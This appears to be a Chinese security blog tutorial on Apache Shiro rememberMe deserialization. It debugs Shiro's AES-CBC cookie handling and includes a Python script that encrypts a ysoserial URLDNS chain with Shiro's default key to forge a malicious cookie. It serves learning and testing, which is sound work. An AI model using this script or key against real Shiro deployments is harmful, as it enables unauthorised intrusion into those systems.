JAVA安全—Shiro反序列化&DNS利用链&CC利用链&AES动态调试

前言

讲了FastJson反序列化的原理和利用链,今天讲一下Shiro的反序列化利用,这个也是目前比较热门的。

原生态反序列化

我们先来复习一下原生态的反序列化,之前也是讲过的,打开我们写过的serialization_demo。代码也很简单,先是读取一个文件,接着对其进行反序列化,最后再一个main函数去调用这个方法。

我们利用ysoserial这个工具生成一个dnslog利用链,写入到urldns.txt文件中。

运行上面的代码,对urldns.txt文件进行反序列化,可以看到在dnslog平台有回显。

shiro反序列化

现在开始说一下Shiro的反序列化,Shiro框架提供了记住密码的功能,cookie含有rememberMe字,⽤户登陆成功后会⽣成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。攻击者只要找到AES加密的密钥,就可以构造⼀个恶意对象,对其进⾏序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进⾏解密并且反序列化,最终造成反序列化漏洞。

网上找的一个Shiro demo,下载好就直接部署就行,具体如何部署就不说了,网上有。

登录抓包看一下,发现确实存在rememberMe字段,而且后面有一大堆值。

现在来分析一下,打开我们的login.jsp,可以看到是调用了include.jsp的。

接着去打开include.jsp看看,这里是引用了org.apache.shiro.SecurityUtils这个类。

可以在相应的位置找到这个类,其实它就是一层一层的引用的。

我们全局搜 rememberMeSuccessfulLogin,找到之后下个断点,来一步一步跟进看看是咋回事。

如果你搜不到的话,来到Maven这里把这个包下载一下就行。

接着以调试模式运行Tomcat,此时我们在登录页面进行登录,就可以看到已经代码断下来了。

开始步入,来到这里可以看到进行了一个判断,如果RememberMeManager的值不为空就进入,也就是说我们进行登录要勾选 "记住我" 才会触发判断。

我们一直步入,因为前面都是一些代码逻辑,没啥看的,代码到这里就出现了序列化,principals 的值就是我们的用户名 root,这里对 root 进行了序列化操作。还对 getCipherService() 进行了判断,如果不为空就进行加密,从字面来看这个方法应该是获取密码的。

接着往下跟进,这里调用了getSerializer().serialize() 进行序列化。

跟进到这个serialize 方法里面,里面的代码是不是和我们上面原生态的序列化差不多,这里调用了 ObjectOutputStream()这个类,并且还调用了这个类里面的 writeObject() 方法对 o 进行序列化,而 o 则是我们的用户名 root 。

这个 root是我们可控的,那么就基本满足了反序列漏洞的条件了。

接着再继续跟进看看,来到了加密这里,我们要知道是啥加密类型才能进一步的利用。

下面参数这里有个key。

展开参数 this ,发现modeName的值是CBC,那么可以猜测这是AES-CBC加密方式。

这个transformationString 就更进一步证实了我们的猜想。

跟到现在基本就可以确定。

发送数据的时候:数据--->序列化--->aes加密--->base64编码

接受数据的时候:base64解码--->aes解密--->反序列化--->数据

base64是可逆的,反序列的数据是可控的,那么我们现在只需要知道AES的Key、iv、mode,是不是就能构造出恶意的 RememberMe 的值了。

上面跟踪的时候我们获取到了Key和 iv 这两个值,但这里只是Ascii码,直接叫AI写个脚本把Ascii码变成base64字符串就行。其上上面说的先AES加密再base64加密,其实是不严谨的,base64只是编码了我们的Key,并没有对AES加密之后的数据进行base64编码。

我们用ysoserial 生成一个dnslog利用链。

再用下面这个脚本对我们的链条进行aes加密,Key是我们上面转换过来的。

复制代码
from Crypto.Cipher import AES
import uuid
import base64
 
//若提示ModuleNotFoundError: No module named 'Crypto'
//需安装pycryptodome库:pip3 install pycryptodome
 
def convert_bin(file):
    with open(file, 'rb') as f:
        return f.read()
 
 
def AES_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()
    return ciphertext
 
 
if __name__ == "__main__":
    data = convert_bin("urldns.txt")
    print(AES_enc(data))

生成加密之后的数据。

替换掉原本的值进行发送。

成功解析。

上面的DNS链条只能访问一下dnslog,如果想要执行命令的话,要用到CC链才行,这个下次详细的讲。

总结

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

相关推荐
李慕婉学姐3 小时前
【开题答辩过程】以《基于JAVA的校园即时配送系统的设计与实现》为例,不知道这个选题怎么做的,不知道这个选题怎么开题答辩的可以进来看看
java·开发语言·数据库
未来之窗软件服务4 小时前
服务器运维(二十三) 服务器安全探针封装—东方仙盟练气期
安全·仙盟创梦ide·东方仙盟·安全探针
奋进的芋圆4 小时前
Java 延时任务实现方案详解(适用于 Spring Boot 3)
java·spring boot·redis·rabbitmq
sxlishaobin5 小时前
设计模式之桥接模式
java·设计模式·桥接模式
model20055 小时前
alibaba linux3 系统盘网站迁移数据盘
java·服务器·前端
荒诞硬汉5 小时前
JavaBean相关补充
java·开发语言
提笔忘字的帝国5 小时前
【教程】macOS 如何完全卸载 Java 开发环境
java·开发语言·macos
2501_941882486 小时前
从灰度发布到流量切分的互联网工程语法控制与多语言实现实践思路随笔分享
java·开发语言
華勳全栈6 小时前
两天开发完成智能体平台
java·spring·go
alonewolf_996 小时前
Spring MVC重点功能底层源码深度解析
java·spring·mvc